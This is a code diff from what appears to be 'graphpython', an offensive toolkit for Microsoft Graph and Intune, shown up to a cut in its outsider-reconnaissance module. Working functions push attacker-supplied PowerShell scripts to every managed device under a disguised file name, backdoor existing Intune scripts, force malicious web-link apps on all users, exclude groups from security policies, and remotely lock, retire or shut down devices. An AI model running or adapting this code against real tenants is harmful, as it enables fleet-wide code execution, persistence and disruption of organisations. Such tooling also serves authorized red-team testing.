"device_vendor_msft_laps_policies_passwordexpirationprotectionenabled": { + "description": "Password Expiration Protection", + "values": { + "0": "Password Expiration Protection Disabled", + "1": "Password Expiration Protection Enabled" + } + }, + "device_vendor_msft_laps_policies_adpasswordencryptionenabled": { + "description": "AD Password Encryption", + "values": { + "0": "AD Password Encryption Disabled", + "1": "AD Password Encryption Enabled" + } + }, + "device_vendor_msft_laps_policies_adpasswordencryptionprincipal": "AD Password Encryption Principal", + "device_vendor_msft_laps_policies_adencryptedpasswordhistorysize": "AD Encrypted Password History Size", + "device_vendor_msft_laps_policies_administratoraccountname": "Administrator Account Name", + "device_vendor_msft_laps_policies_passwordcomplexity": { + "description": "Password Complexity", + "values": { + "1": "Large letters", + "2": "Large letters + small letters", + "3": "Large letters + small letters + numbers", + "4": "Large letters + small letters + numbers + special characters", + "5": "Large letters + small letters + numbers + special characters (improved readability)" + } + }, + "device_vendor_msft_laps_policies_passwordlength": "Password Length", + "device_vendor_msft_laps_policies_postauthenticationactions": { + "description": "Post Authentication Actions", + "values": { + "1": "Reset password: upon expiry of the grace period, the managed account password will be reset.", + "3": "Reset the password and logoff the managed account: upon expiry of the grace period, the managed account password will be reset and any interactive logon sessions using the managed account will be terminated.", + "5": "Reset the password and reboot: upon expiry of the grace period, the managed account password will be reset and the managed device will be immediately rebooted." + } + }, + "device_vendor_msft_laps_policies_postauthenticationresetdelay": "Post Authentication Reset Delay" + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + response_json = response.json() + for setting in response_json.get('value', []): + setting_instance = setting.get('settingInstance') + setting_def_id = setting_instance.get('settingDefinitionId') + if setting_instance and setting_def_id: + if setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationChoiceSettingInstance": + choice_value = setting_instance.get('choiceSettingValue', {}).get('value') + if choice_value and setting_def_id in settings_map: + setting_text = settings_map[setting_def_id] + if isinstance(setting_text, dict): + setting_description = setting_text.get('description', setting_def_id) + setting_value = setting_text['values'].get(choice_value.split('_')[-1], choice_value) + print(f"{setting_description}: {setting_value}") + else: + print(f"{setting_text}: {choice_value}") + children = setting_instance.get('choiceSettingValue', {}).get('children', []) + for child in children: + child_def_id = child.get('settingDefinitionId') + if child['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": + simple_value = child.get('simpleSettingValue', {}).get('value') + if simple_value and child_def_id in settings_map: + mapped_value = settings_map[child_def_id] + if isinstance(mapped_value, dict): + description = mapped_value.get('description', child_def_id) + value = mapped_value['values'].get(str(simple_value), simple_value) + print(f"{description}: {value}") + else: + print(f"{mapped_value}: {simple_value}") + elif setting_instance['@odata.type'] == "#microsoft.graph.deviceManagementConfigurationSimpleSettingInstance": + simple_value = setting_instance.get('simpleSettingValue', {}).get('value') + if simple_value and setting_def_id in settings_map: + mapped_value = settings_map[setting_def_id] + if isinstance(mapped_value, dict): + description = mapped_value.get('description', setting_def_id) + value = mapped_value['values'].get(str(simple_value), simple_value) + print(f"{description}: {value}") + else: + print(f"{mapped_value}: {simple_value}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# display-usergroupaccountprotectionpolicyrules +def display_usergroupaccountprotectionpolicyrules(args): + if not args.id: + print_red("[-] Error: --id argument is required for Display-UserGroupAccountProtectionPolicyRules command") + return + + print_yellow("[*] Display-UserGroupAccountProtectionPolicyRules") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/settings" + + if args.select: + api_url += f"?$select={args.select}" + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': get_user_agent(args) + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + settings = response.json().get('value', []) + local_groups = [] + for setting in settings: + group_setting_collection = setting.get('settingInstance', {}).get('groupSettingCollectionValue', []) + for group_setting in group_setting_collection: + children = group_setting.get('children', []) + for child in children: + child_children = child.get('groupSettingCollectionValue', []) + for child_child in child_children: + for item in child_child.get('children', []): + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_userselectiontype": + choice_value = item.get('choiceSettingValue', {}).get('value', '') + description = "Users/Groups" if choice_value.endswith("_users") else "Manual" + print(f"User selection type: {description}") + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action": + choice_value = item.get('choiceSettingValue', {}).get('value', '') + action_map = { + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_update": "Add (Update)", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_remove_update": "Remove (Update)", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_action_add_restrict": "Add (Replace)" + } + action = action_map.get(choice_value, choice_value) + print(f"Group and user action: {action}") + if item.get('settingDefinitionId') == "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc": + group_map = { + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_administrators": "Administrators", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_users": "Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotedesktopusers": "Remote Desktop Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_remotemanagementusers": "Remote Management Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_powerusers": "Power Users", + "device_vendor_msft_policy_config_localusersandgroups_configure_groupconfiguration_accessgroup_desc_guests": "Guests" + } + for choice in item.get('choiceSettingCollectionValue', []): + group = group_map.get(choice.get('value', ''), choice.get('value', '')) + local_groups.append(group) + if local_groups: + print(f"Local groups: {', '.join(local_groups)}") + else: + print_red(f"[-] Failed to retrieve settings: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-exclusiongrouptopolicy +def add_exclusiongrouptopolicy(args): + if not args.id: + print_red("[-] Error: --id argument is required for Add-ExclusionGroupToPolicy command") + return + + print_yellow("[*] Add-ExclusionGroupToPolicy") + print("=" * 80) + + assignments_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assignments" + assign_api_url = f"https://graph.microsoft.com/beta/deviceManagement/configurationPolicies('{args.id}')/assign" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + # get the current assignments so we don't mess up day-to-day ops + response = requests.get(assignments_api_url, headers=headers) + if response.ok: + current_assignments = response.json().get('value', []) + else: + print_red(f"[-] Failed to retrieve current assignments: {response.status_code}") + print_red(response.text) + print("=" * 80) + return + + try: + groupid = input("\nEnter Group ID To Exclude: ").strip() + except KeyboardInterrupt: + sys.exit() + + new_assignments = current_assignments + [ + { + "target": { + "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", + "groupId": groupid + } + } + ] + + body = { + "assignments": new_assignments + } + + response = requests.post(assign_api_url, headers=headers, json=body) + if response.ok: + print_green(f"\n[+] Excluded group added to policy rules") + else: + print_red(f"\n[-] Failed to add excluded group to policy rules: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# deploy-maliciousscript +def deploy_maliciousscript(args): + if not args.script: + print_red("[-] Error: --script argument is required for Deploy-MaliciousScript command") + return + + print_yellow("[*] Deploy-MaliciousScript") + print("=" * 80) + script_content = read_file_content(args.script) + + try: + display_name = input("\nEnter Script Display Name: ").strip() + description = input("Enter Script Description: ").strip() + runasaccount = input("Run As Account (user/system): ").strip().lower() + sigcheck = input("Enforce Signature Check? (true/false): ").strip().lower() + runas32bit = input("Run As 64-bit? (true/false): ").strip().lower() + if runasaccount not in ['user', 'system']: + print("Invalid input for Run As Account. Defaulting to 'user.") + runasaccount = 'user' + if sigcheck not in ['true', 'false']: + print("Invalid input for Enforce Signature Check. Defaulting to 'false'.") + sigcheck = 'false' + if runas32bit not in ['true', 'false']: + print("Invalid input for Run As 64-bit. Defaulting to 'false'.") + runas32bit = 'false' + except KeyboardInterrupt: + sys.exit() + + user_agent = get_user_agent(args) + url_create = "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "Content-Type": "application/json", + "User-Agent": user_agent + } + + encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') + script_payload = { + "@odata.type": "#microsoft.graph.deviceManagementScript", + "displayName": display_name, + "description": description, + "runSchedule": { + "@odata.type": "microsoft.graph.runSchedule" + }, + "scriptContent": encoded_script_content, + "runAsAccount": runasaccount, + "enforceSignatureCheck": sigcheck == 'true', + "fileName": "Deploy-PrinterSettings.ps1", + "runAs32Bit": runas32bit == 'true' + } + + response = requests.post(url_create, headers=headers, json=script_payload) + if response.status_code == 201: + print_green("\n[+] Script created successfully") + script_id = response.json().get('id') + print_green(f"[+] Script ID: {script_id}") + url_assign = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{script_id}/assign" + + try: + assignments = [] + assign_all_devices = input("\nAssign to all devices? (yes/no): ").strip().lower() + if assign_all_devices == 'yes': + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" + } + }) + assign_all_users = input("Assign to all users? (yes/no): ").strip().lower() + if assign_all_users == 'yes': + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" + } + }) + assign_specific_group = input("Assign to specific group? (yes/no): ").strip().lower() + if assign_specific_group == 'yes': + group_id = input("Enter Group ID: ").strip() + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.groupAssignmentTarget", + "groupId": group_id + } + }) + add_group_exclusion = input("Add group exclusion? (yes/no): ").strip().lower() + if add_group_exclusion == 'yes': + exclusion_group_id = input("Enter Group ID to Exclude: ").strip() + assignments.append({ + "target": { + "@odata.type": "#microsoft.graph.exclusionGroupAssignmentTarget", + "groupId": exclusion_group_id + } + }) + + except KeyboardInterrupt: + sys.exit() + + assignment_payload = { + "deviceManagementScriptAssignments": assignments + } + + response = requests.post(url_assign, headers=headers, json=assignment_payload) + if response.status_code == 200: + print_green("\n[+] Script assigned successfully") + else: + print_red(f"[-] Failed to assign script: {response.status_code}") + print(response.text) + else: + print_red(f"[-] Failed to create script: {response.status_code}") + print(response.text) + print("=" * 80) + +# backdoor-script +def backdoor_script(args): + if not args.id or not args.script: + print_red("[-] Error: --id and --script required for Backdoor-Script command") + return + + print_yellow("[*] Backdoor-Script") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + # 1. get current target script settings and encode new script content so we don't override anything + # - could add option to alter pre-existing settings + try: + script_content = read_file_content(args.script) + encoded_script_content = base64.b64encode(script_content.encode('utf-8')).decode('utf-8') + except Exception as e: + print_red(f"[-] Error reading or encoding script file: {e}") + return + + response = requests.get(api_url, headers=headers) + if response.ok: + json_data = response.json() + json_data.pop('@odata.context', None) # remove or 400 err + json_data.pop('id', None) # remove or 400 err + json_data.pop('createdDateTime', None) # remove or 400 err + json_data.pop('lastModifiedDateTime', None) # remove or 400 err + json_data['scriptContent'] = encoded_script_content # replace with our new script content + else: + print_red(f"[-] HTTP Error: {response.status_code}") + print_red(response.text) + return + + # 2. patch script with updated script content + patch = requests.patch(api_url, headers=headers, json=json_data) + if patch.ok: + print_green("\n[+] Patched device management script successfully\n") + json_data = patch.json() + script_content = json_data.get('scriptContent') + if script_content: + decoded_script_content = base64.b64decode(script_content).decode('utf-8') + json_data['scriptContent'] = decoded_script_content + json_data.pop('@odata.context', None) + json_data.pop('scriptContent', None) + for key, value in json_data.items(): + print(f"{key} : {value}") + if script_content: + print_green("scriptContent :\n") + print(decoded_script_content) + else: + print_red(f"[-] Error patching device management script: {patch.status_code}") + print_red(patch.text) + print("=" * 80) + +# deploy-maliciousweblink +def deploy_maliciousweblink(args): + print_yellow("[*] Deploy-MaliciousWebLink") + print("=" * 80) + + api_url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + try: + # all required + appUrl = input("\nApp URL: ").strip() + description = input("Description: ").strip() + displayName = input("Display Name: ").strip() + publisher = input("Publisher: ").strip() + isFeatured = input("Show this as a featured app in the Company Portal? (true/false): ").strip().lower() + if isFeatured not in ['true', 'false']: + print("Invalid input for Company Portal. Defaulting to 'False'.") + isFeatured = 'False' + except KeyboardInterrupt: + sys.exit() + + json_body = { + "@odata.type": "#microsoft.graph.windowsWebApp", + "appUrl": appUrl, + "categories": [], + "description": description, + "developer": "", + "displayName": displayName, + "informationUrl": "", + "isFeatured": isFeatured, + "notes": "", + "owner": "", + "privacyInformationUrl": "", + "publisher": publisher, + "roleScopeTagIds": [] + } + + response = requests.post(api_url, json=json_body, headers=headers) + if response.ok: + result = response.json() + print_green("\n[+] Malicious web link app deployed successfully") + + appid = result['id'] + print(f"\nApp ID: {appid}") + + assign_url = f"https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/{appid}/assign" + assign_body = { + "mobileAppAssignments": [ + { + "@odata.type": "#microsoft.graph.mobileAppAssignment", + "target": { + "@odata.type": "#microsoft.graph.allLicensedUsersAssignmentTarget" + }, + "intent": "Required", + "settings": None + }, + { + "@odata.type": "#microsoft.graph.mobileAppAssignment", + "target": { + "@odata.type": "#microsoft.graph.allDevicesAssignmentTarget" + }, + "intent": "Required", + "settings": None + } + ] + } + + assign = requests.post(assign_url, json=assign_body, headers=headers) + if assign.ok: + print_green("\n[+] Web link app assigned successfully") + else: + print_red(f"\n[-] Failed to assign web link app: {response.status_code}") + print_red(response.text) + else: + print_red(f"[-] Failed to create web link app: {response.status_code}") + print_red(response.text) + + print("=" * 80) + +# deploy-maliciouswin32app +# - user will have to packagae app prior +# https://cloudinfra.net/how-to-deploy-exe-applications-using-intune/ +# https://www.systemcenterdudes.com/deploy-microsoft-intune-win32-apps/ +# +# POST https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/ +# {"@odata.type":"#microsoft.graph.win32LobApp","applicableArchitectures":"x64,x86","allowAvailableUninstall":false,"categories":[],"description":"IntuneMessageBox","developer":"","displayName":"IntuneMessageBox","displayVersion":"","fileName":"IntuneMessageBox.intunewin","installCommandLine":"IntuneMessageBox.exe","installExperience":{"deviceRestartBehavior":"suppress","maxRunTimeInMinutes":30,"runAsAccount":"system"},"informationUrl":"","isFeatured":false,"roleScopeTagIds":[],"notes":"","minimumSupportedWindowsRelease":"1607","msiInformation":null,"owner":"","privacyInformationUrl":"","publisher":"ECorp","returnCodes":[{"returnCode":0,"type":"success"},{"returnCode":1707,"type":"success"},{"returnCode":3010,"type":"softReboot"},{"returnCode":1641,"type":"hardReboot"},{"returnCode":1618,"type":"retry"}],"rules":[{"@odata.type":"#microsoft.graph.win32LobAppFileSystemRule","ruleType":"detection","operator":"notConfigured","check32BitOn64System":false,"operationType":"exists","comparisonValue":null,"fileOrFolderName":"IntuneMessageBox.exe","path":"C:\\Program Files\\IntuneMessageBox.exe"}],"runAs32Bit":false,"setupFilePath":"IntuneMessageBox.exe","uninstallCommandLine":"IntuneMessageBox.exe"} +# -> need to add install/uninstall instruction batch script +def deploy_maliciouswin32msi(args): # not working obvs + url = "https://graph.microsoft.com/beta/deviceAppManagement/mobileApps/" + # add the option to be available in the company portal for download + data = { + "@odata.type": "#microsoft.graph.win32LobApp", + "applicableArchitectures": "x64,x86", + "allowAvailableUninstall": False, + "categories": [], + "description": "IntuneMessageBox", + "developer": "", + "displayName": "IntuneMessageBox", + "displayVersion": "", + "fileName": "IntuneMessageBox.intunewin", + "installCommandLine": "IntuneMessageBox.exe", + "installExperience": { + "deviceRestartBehavior": "suppress", + "maxRunTimeInMinutes": 30, + "runAsAccount": "system" + }, + "informationUrl": "", + "isFeatured": False, + "roleScopeTagIds": [], + "notes": "", + "minimumSupportedWindowsRelease": "1607", + "msiInformation": None, + "owner": "", + "privacyInformationUrl": "", + "publisher": "ECorp", + "returnCodes": [ + {"returnCode": 0, "type": "success"}, + {"returnCode": 1707, "type": "success"}, + {"returnCode": 3010, "type": "softReboot"}, + {"returnCode": 1641, "type": "hardReboot"}, + {"returnCode": 1618, "type": "retry"} + ], + "rules": [ + { + "@odata.type": "#microsoft.graph.win32LobAppFileSystemRule", + "ruleType": "detection", + "operator": "notConfigured", + "check32BitOn64System": False, + "operationType": "exists", + "comparisonValue": None, + "fileOrFolderName": "IntuneMessageBox.exe", + "path": "C:\\Program Files\\IntuneMessageBox.exe" + } + ], + "runAs32Bit": False, + "setupFilePath": "IntuneMessageBox.exe", + "uninstallCommandLine": "IntuneMessageBox.exe" + } + +# deploy-maliciouswin32msi +# - todo +# def deploy_maliciouswin32msi(args): + +# update-deviceconfig +def update_deviceconfig(args): + if not args.id: + print_red("[-] Error: --id required for Update-DeviceConfig command") + return + + properties = [ + { + "Property": "ownerType", + "Description": "Ownership of the device. Possible values are, 'company' or 'personal'. Default is unknown. Supports $filter operator 'eq' and 'or'. Possible values are: unknown, company, personal." + }, + { + "Property": "managedDeviceOwnerType", + "Description": "Ownership of the device. Can be 'company' or 'personal'. Possible values are: unknown, company, personal." + }, + { + "Property": "managedDeviceName", + "Description": "Automatically generated name to identify a device. Can be overwritten to a user friendly name." + }, + { + "Property": "notes", + "Description": "Notes on the device created by IT Admin. Default is null. To retrieve actual values GET call needs to be made, with device id and included in select parameter. Supports: $select. $Search is not supported." + }, + { + "Property": "roleScopeTagIds", + "Description": "List of Scope Tag IDs for this Device instance." + }, + { + "Property": "configurationManagerClientHealthState", + "Description": "Configuration manager client health state, valid only for devices managed by MDM/ConfigMgr Agent." + }, + { + "Property": "configurationManagerClientInformation", + "Description": "Configuration manager client information, valid only for devices managed, duel-managed or tri-managed by ConfigMgr Agent." + } + ] + + print_yellow("[*] Update-DeviceConfig") + print("=" * 80) + print("\033[34m[>] Device Properties: https://learn.microsoft.com/en-us/graph/api/intune-devices-manageddevice-update\033[0m\n") + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices('{args.id}')" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + table = [[prop["Property"], prop["Description"]] for prop in properties] + separator = ['-' * 20, '-' * 50] + tablenew = tabulate([["Property", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left")) + print(tablenew) + + try: + prop = input("\nEnter Property: ").strip() + newvalue = input("Enter New Value: ").strip() + except KeyboardInterrupt: + sys.exit() + + json_body = { + prop : newvalue + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Device config updated successfully") + + else: + print_red(f"\n[-] Failed to update device config: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# reboot-device +def reboot_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Reboot-Device command") + return + + print_yellow("[*] Reboot-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/rebootNow" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device reboot initiated successfully") + else: + print_red(f"[-] Failed to initiate device reboot: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# retire-device +def retire_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Retire-Device command") + return + + print_yellow("[*] Retire-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/retire" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device retire initiated successfully") + else: + print_red(f"[-] Failed to initiate device retire: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# lock-device +def lock_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Lock-Device command") + return + print_yellow("[*] Lock-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/remoteLock" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device lock initiated successfully") + else: + print_red(f"[-] Failed to initiate device lock: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# shutdown-device +def shutdown_device(args): + if not args.id: + print_red("[-] Error: --id argument is required for Shutdown-Device command") + return + + print_yellow("[*] Shutdown-Device") + print("=" * 80) + api_url = f"https://graph.microsoft.com/beta/deviceManagement/managedDevices/{args.id}/shutDown" + user_agent = get_user_agent(args) + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + response = requests.post(api_url, headers=headers) + if response.ok: + print_green(f"[+] Device shutdown initiated successfully") + else: + print_red(f"[-] Failed to initiate device shutdown: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add more from +# https://learn.microsoft.com/en-us/graph/api/resources/intune-devices-manageddevice?view=graph-rest-beta \ No newline at end of file diff --git a/graphpython/commands/locators.py b/graphpython/commands/locators.py new file mode 100644 index 0000000..c3994b5 --- /dev/null +++ b/graphpython/commands/locators.py @@ -0,0 +1,180 @@ +import requests +import os +from bs4 import BeautifulSoup +from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token + +############ +# Locators # +############ + +def locate_objectid(args): + if not args.id: + print_red("[-] Error: --id required for Locate-ObjectID command") + return + + print_yellow("[*] Locate-ObjectID") + print("=" * 80) + graph_api_url = f"https://graph.microsoft.com/v1.0/directoryObjects/{args.id}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + try: + response = requests.get(graph_api_url, headers=headers) + response.raise_for_status() + object_data = response.json() + object_type = object_data.get('@odata.type', '').split('.')[-1] + + print_green(f"Object Type: {object_type}") + print(f"ID: {object_data.get('id', 'N/A')}") + print(f"Display Name: {object_data.get('displayName', 'N/A')}") + + if object_type == 'user': + print(f"User Principal Name: {object_data.get('userPrincipalName', 'N/A')}") + print(f"Mail: {object_data.get('mail', 'N/A')}") + print(f"Job Title: {object_data.get('jobTitle', 'N/A')}") + print(f"Department: {object_data.get('department', 'N/A')}") + print(f"Office Location: {object_data.get('officeLocation', 'N/A')}") + print(f"Mobile Phone: {object_data.get('mobilePhone', 'N/A')}") + print(f"Business Phones: {', '.join(object_data.get('businessPhones', []))}") + print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") + print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") + print(f"Last Sign-In DateTime: {object_data.get('signInActivity', {}).get('lastSignInDateTime', 'N/A')}") + elif object_type == 'group': + print(f"Mail: {object_data.get('mail', 'N/A')}") + print(f"Security Enabled: {object_data.get('securityEnabled', 'N/A')}") + print(f"Mail Enabled: {object_data.get('mailEnabled', 'N/A')}") + print(f"Group Types: {', '.join(object_data.get('groupTypes', []))}") + print(f"Visibility: {object_data.get('visibility', 'N/A')}") + print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") + print(f"Description: {object_data.get('description', 'N/A')}") + print(f"Membership Rule: {object_data.get('membershipRule', 'N/A')}") + print(f"Is Assignable To Role: {object_data.get('isAssignableToRole', 'N/A')}") + elif object_type == 'servicePrincipal': + print(f"App ID: {object_data.get('appId', 'N/A')}") + print(f"Service Principal Type: {object_data.get('servicePrincipalType', 'N/A')}") + print(f"App Display Name: {object_data.get('appDisplayName', 'N/A')}") + print(f"Homepage: {object_data.get('homepage', 'N/A')}") + print(f"Login URL: {object_data.get('loginUrl', 'N/A')}") + print(f"Publisher Name: {object_data.get('publisherName', 'N/A')}") + print(f"App Roles Count: {len(object_data.get('appRoles', []))}") + print(f"OAuth2 Permissions Count: {len(object_data.get('oauth2Permissions', []))}") + print(f"Tags: {', '.join(object_data.get('tags', []))}") + print(f"Account Enabled: {object_data.get('accountEnabled', 'N/A')}") + elif object_type == 'application': + print(f"App ID: {object_data.get('appId', 'N/A')}") + print(f"Sign In Audience: {object_data.get('signInAudience', 'N/A')}") + print(f"Publisher Domain: {object_data.get('publisherDomain', 'N/A')}") + print(f"Verified Publisher: {object_data.get('verifiedPublisher', {}).get('displayName', 'N/A')}") + print(f"App Roles Count: {len(object_data.get('appRoles', []))}") + print(f"Required Resource Access Count: {len(object_data.get('requiredResourceAccess', []))}") + print(f"Web Redirect URIs: {', '.join(object_data.get('web', {}).get('redirectUris', []))}") + print(f"Created DateTime: {object_data.get('createdDateTime', 'N/A')}") + elif object_type == 'device': + print(f"Device ID: {object_data.get('deviceId', 'N/A')}") + print(f"Operating System: {object_data.get('operatingSystem', 'N/A')}") + print(f"Operating System Version: {object_data.get('operatingSystemVersion', 'N/A')}") + print(f"Trust Type: {object_data.get('trustType', 'N/A')}") + print(f"Approximate Last Sign In DateTime: {object_data.get('approximateLastSignInDateTime', 'N/A')}") + print(f"Compliance State: {object_data.get('complianceState', 'N/A')}") + print(f"Is Managed: {object_data.get('isManaged', 'N/A')}") + print(f"Is Compliant: {object_data.get('isCompliant', 'N/A')}") + print(f"Registered Owner: {object_data.get('registeredOwners', [{}])[0].get('userPrincipalName', 'N/A')}") + + except requests.exceptions.HTTPError as e: + if e.response.status_code == 404: + print_red(f"[-] Object with ID {args.id} not found") + else: + print_red(f"[-] An error occurred while retrieving object details: {str(e)}") + except requests.exceptions.RequestException as e: + print_red(f"[-] An error occurred while making the request: {str(e)}") + + print("=" * 80) + +def locate_permissionid(args): + if not args.id: + print_red("[-] Error: --id argument is required for Locate-PermissionID command") + return + + print_yellow("[*] Locate-PermissionID") + print("=" * 80) + + def parse_html(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + + for h3 in soup.find_all('h3'): + title = h3.text + table = h3.find_next('table') + headers = [th.text for th in table.find('thead').find_all('th')] + rows = table.find('tbody').find_all('tr') + + permission_data = {} + for row in rows: + cells = row.find_all('td') + category = cells[0].text + application = cells[1].text + delegated = cells[2].text + permission_data[category] = { + headers[1]: application, + headers[2]: delegated + } + permissions[title] = permission_data + + return permissions + + def highlight(text, should_highlight): + if should_highlight: + return f"\033[92m{text}\033[0m" + return text + + def print_permission(permission, data, app_ids, delegated_ids): + print_green(f"{permission}") + for category, values in data.items(): + print(f" {category}:") + app_highlight = data['Identifier']['Application'] in app_ids + delegated_highlight = data['Identifier']['Delegated'] in delegated_ids + print(f" Application: {highlight(values['Application'], app_highlight)}") + print(f" Delegated: {highlight(values['Delegated'], delegated_highlight)}") + print() + + identifiers = args.id.split(',') + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"[-] The file {file_path} does not exist.") + print("=" * 80) + return + except Exception as e: + print_red(f"[-] An error occurred: {e}") + print("=" * 80) + return + + permissions = parse_html(content) + app_ids = [] + delegated_ids = [] + + for permission, data in permissions.items(): + if data['Identifier']['Application'] in identifiers: + app_ids.append(data['Identifier']['Application']) + if data['Identifier']['Delegated'] in identifiers: + delegated_ids.append(data['Identifier']['Delegated']) + + found_permissions = False + + for permission, data in permissions.items(): + if data['Identifier']['Application'] in app_ids or data['Identifier']['Delegated'] in delegated_ids: + print_permission(permission, data, app_ids, delegated_ids) + found_permissions = True + + if not found_permissions: + print_red("[-] Permission ID not found") + + print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/outsider.py b/graphpython/commands/outsider.py new file mode 100644 index 0000000..4597f57 --- /dev/null +++ b/graphpython/commands/outsider.py @@ -0,0 +1,255 @@ +import requests +from tqdm import tqdm +import dns.resolver +import os +from graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token +from graphpython.utils.helpers import get_tenant_domains + +############ +# Outsider # +############ + +def invoke_reconasoutsider(args): + if not args.domain: + print_red("[-] Error: --domain argument is required for Invoke-ReconAsOutsider command") + return + + print_yellow("[*] Invoke-ReconAsOutsider") + print("=" * 80) + domain = args.domain + # get tenant id + tenant_id = "" + try: + response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") + if response.status_code == 200: + tenant_id = response.json().get('token_endpoint', '').split('/')[3] + except: + print_red("[-] Failed to retrieve tenant ID") + if not tenant_id: + print_red(f"[-] Domain {domain} is not registered to Azure AD") + print("=" * 80) + return + tenant_name = "" + tenant_brand = "" + tenant_region = "" + tenant_sso = "" + # tenant info + try: + response = requests.get(f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration") + if response.status_code == 200: + data = response.json() + tenant_region = data.get('tenant_region_scope', "Unknown") + except: + print_red("[-] Failed to retrieve tenant info") + + additional_domains = get_tenant_domains(domain) + additional_domains_count = len(additional_domains) + print(f"Domains: {additional_domains_count}") + domain_information = [] + # show progress bar + custom_bar = '╢{bar:50}╟' + for domain in tqdm((additional_domains),bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): + if domain.lower().endswith('.onmicrosoft.com') and not tenant_name: + tenant_name = domain + # desktop sso + if not tenant_sso: + try: + url = 